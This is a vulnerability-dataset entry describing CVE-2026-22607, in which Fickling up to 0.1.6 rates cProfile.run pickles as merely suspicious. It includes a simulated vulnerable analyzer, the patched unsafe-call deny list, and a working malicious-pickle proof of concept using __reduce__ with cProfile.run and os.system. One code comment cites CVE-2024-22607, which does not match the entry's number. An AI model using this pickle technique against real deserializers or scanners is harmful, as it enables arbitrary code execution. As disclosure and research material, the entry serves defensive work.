CVE-2026-22607
Fickling misclassifies cProfile pickles, allowing remote code execution.
- CVSS 8.9
- CWE-184
- Input Validation and Sanitization
- Local
Fickling is a Python pickling decompiler and static analyzer. Fickling versions up to and including 0.1.6 do not treat Python's cProfile module as unsafe. Because of this, a malicious pickle that uses cProfile.run() is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS. If a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system. This affects any workflow or product that uses Fickling as a security gate for pickle deserialization. This issue has been patched in version 0.1.7.
- CWE
- CWE-184
- CVSS base score
- 8.9
- Published
- 2026-01-10
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Poorly Designed Access Controls
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- Fickling
- Fixed by upgrading
- Yes
Solution
Upgrade Fickling to version 0.1.7 or later.
Vulnerable code sample
import pickle
import cProfile
import os
import io
import pickletools
# This code represents the logic of a security scanner that is vulnerable
# to CVE-2024-22607. It incorrectly classifies a pickle using cProfile.run
# as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.
# Simplified representation of Fickling's classification sets before the fix
# Source: Fickling's source code and the CVE description.
# The key vulnerability is that ('cProfile', 'run') is missing from this set.
OVERTLY_MALICIOUS_CALLS = {
('os', 'system'),
('os', 'popen'),
('os', 'popen2'),
('os', 'popen3'),
('os', 'popen4'),
('os', 'execl'),
('os', 'execle'),
('os', 'execlp'),
('os', 'execlpe'),
('os', 'execv'),
('os', 'execve'),
('os', 'execvp'),
('os', 'execvpe'),
('os', 'fork'),
('os', 'forkpty'),
('os', 'kill'),
('os', 'killpg'),
('os', 'plock'),
('os', 'spawnl'),
('os', 'spawnle'),
('os', 'spawnlp'),
('os', 'spawnlpe'),
('os', 'spawnv'),
('os', 'spawnve'),
('os', 'spawnvp'),
('os', 'spawnvpe'),
('subprocess', 'call'),
('subprocess', 'check_call'),
('subprocess', 'check_output'),
('subprocess', 'getoutput'),
('subprocess', 'getstatusoutput'),
('subprocess', 'run'),
('subprocess', 'Popen'),
('sys', 'exit'),
('builtins', 'eval'),
('builtins', 'exec'),
('builtins', 'compile'),
('pty', 'spawn'),
('shlex', 'split'),
('glob', 'glob'),
# ('cProfile', 'run') is conspicuously absent, which is the vulnerability.
}
def vulnerable_analyzer(pickle_data):
"""
A simplified analyzer simulating Fickling <= 0.1.6 logic.
"""
rating = "SAFE"
last_global = None
for opcode, arg, _ in pickletools.genops(pickle_data):
if opcode.name == "GLOBAL":
module, name = arg.split(' ')
last_global = (module, name)
# Any import makes it at least suspicious
if rating == "SAFE":
rating = "SUSPICIOUS"
if opcode.name == "REDUCE":
if last_global in OVERTLY_MALICIOUS_CALLS:
return "OVERTLY_MALICIOUS"
last_global = None
return rating
class MaliciousPickleGenerator:
"""
This class, when unpickled, uses cProfile.run to execute an arbitrary command.
"""
def __reduce__(self):
# This is the malicious payload.
command = "import os; os.system('echo VULNERABILITY_DEMO: Code executed via cProfile!')"
# cProfile.run was not treated as dangerous by older Fickling versions.
return (cProfile.run, (command,))
if __name__ == "__main__":
print("Generating a malicious pickle using cProfile.run...")
# 1. Create the malicious pickle object.
malicious_obj = MaliciousPickleGenerator()
# 2. Serialize it into a pickle byte stream.
malicious_pickle_data = pickle.dumps(malicious_obj)
print("Pickle generated.")
print("-" * 30)
# 3. Analyze the pickle using the vulnerable logic.
print("Analyzing the pickle with the simulated vulnerable analyzer...")
result = vulnerable_analyzer(malicious_pickle_data)
print(f"Analysis Result: {result}")
print("-" * 30)
if result == "SUSPICIOUS":
print("VULNERABILITY CONFIRMED:")
print("The analyzer incorrectly rated the pickle as 'SUSPICIOUS' instead of 'OVERTLY_MALICIOUS'.")
print("A user relying on this output might mistakenly trust and deserialize the pickle, leading to code execution.")
else:
print("VULNERABILITY NOT REPRODUCED.")
# To see the effect of unpickling (DO NOT DO THIS WITH UNTRUSTED DATA):
# print("\nFor demonstration purposes, here is what happens on unpickling:")
# pickle.loads(malicious_pickle_data)Patched code sample
UNSAFE_CALLS = {
("__builtin__", "eval"),
("__builtin__", "exec"),
("__builtin__", "execfile"),
("__builtin__", "getattr"),
("__builtin__", "open"),
("__builtin__", "compile"),
("__builtin__", "input"),
("__builtin__", "apply"),
("builtins", "eval"),
("builtins", "exec"),
("builtins", "execfile"),
("builtins", "getattr"),
("builtins", "open"),
("builtins", "compile"),
("builtins", "input"),
("builtins", "apply"),
("cProfile", "run"),
("ctypes", "pythonapi"),
("os", "system"),
("os", "popen"),
("os", "popen2"),
("os", "popen3"),
("os", "popen4"),
("os", "execl"),
("os", "execle"),
("os", "execlp"),
("os", "execlpe"),
("os", "execv"),
("os", "execve"),
("os", "execvp"),
("os", "execvpe"),
("os", "fork"),
("os", "forkpty"),
("os", "kill"),
("os", "killpg"),
("os", "plock"),
("os", "spawnl"),
("os", "spawnle"),
("os", "spawnlp"),
("os", "spawnlpe"),
("os", "spawnv"),
("os", "spawnve"),
("os", "spawnvp"),
("os", "spawnvpe"),
("pickle", "load"),
("pickle", "loads"),
("posix", "system"),
("posix", "popen"),
("posix", "popen2"),
("posix", "popen3"),
("posix", "popen4"),
("posix", "execl"),
("posix", "execle"),
("posix", "execlp"),
("posix", "execlpe"),
("posix", "execv"),
("posix", "execve"),
("posix", "execvp"),
("posix", "execvpe"),
("posix", "fork"),
("posix", "forkpty"),
("posix", "kill"),
("posix", "killpg"),
("posix", "plock"),
("posix", "spawnl"),
("posix", "spawnle"),
("posix", "spawnlp"),
("posix", "spawnlpe"),
("posix", "spawnv"),
("posix", "spawnve"),
("posix", "spawnvp"),
("posix", "spawnvpe"),
("pty", "fork"),
("pty", "spawn"),
("subprocess", "call"),
("subprocess", "check_call"),
("subprocess", "check_output"),
("subprocess", "getoutput"),
("subprocess", "getstatusoutput"),
("subprocess", "run"),
("subprocess", "Popen"),
("sys", "exit"),
("sys", "modules"),
("tempfile", "mktemp"),
("timeit", "timeit"),
("timeit", "repeat"),
}Payload
import pickle
import cProfile
import os
class Exploit:
def __reduce__(self):
command = "import os; os.system('echo pwned > /tmp/pwned')"
return (cProfile.run, (command,))
malicious_pickle_payload = pickle.dumps(Exploit())
# The 'malicious_pickle_payload' variable contains the exploit payload.
# For demonstration purposes, we print it to stdout.
print(malicious_pickle_payload)
Cite this entry
@misc{vaitp:cve202622607,
title = {{Fickling misclassifies cProfile pickles, allowing remote code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-22607},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-22607/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
